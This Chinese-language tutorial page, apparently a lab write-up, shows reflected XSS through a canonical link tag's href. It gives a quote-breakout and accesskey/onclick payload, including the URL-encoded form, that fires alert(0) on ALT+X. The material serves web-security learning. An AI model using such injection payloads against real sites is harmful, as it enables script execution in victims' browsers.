> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/reflected-xss-in-canonical-link-tag.md).
# 规范标签中的反射型 XSS
### 规范链接标签中的反射型 XSS
`canonical` 会在其中反射的标签 `href` URL 中提供的值（ `<` 和 `>` 尖括号被转义）。/ 目的：注入一个可执行的 **属性** 用于调用 `alert()` 在主页上。
* 源代码显示有一个 `canonical` 标签会接收 `href` 来自 URL 中所输入的内容。
* 你可以用一个单引号跳出： `' hacking` => `%27hacking`.
```javascript
' hacking
%27hacking
```
* `accesskey` 可用于按下某个键来触发操作： `'accesskey='x' onclick='alert(0)`.
```javascript
'accesskey='x'onclick='alert(0)
/?%27accesskey=%27x%27onclick=%27alert(0)
```
触发的操作：
```javascript
ALT + X
```
---
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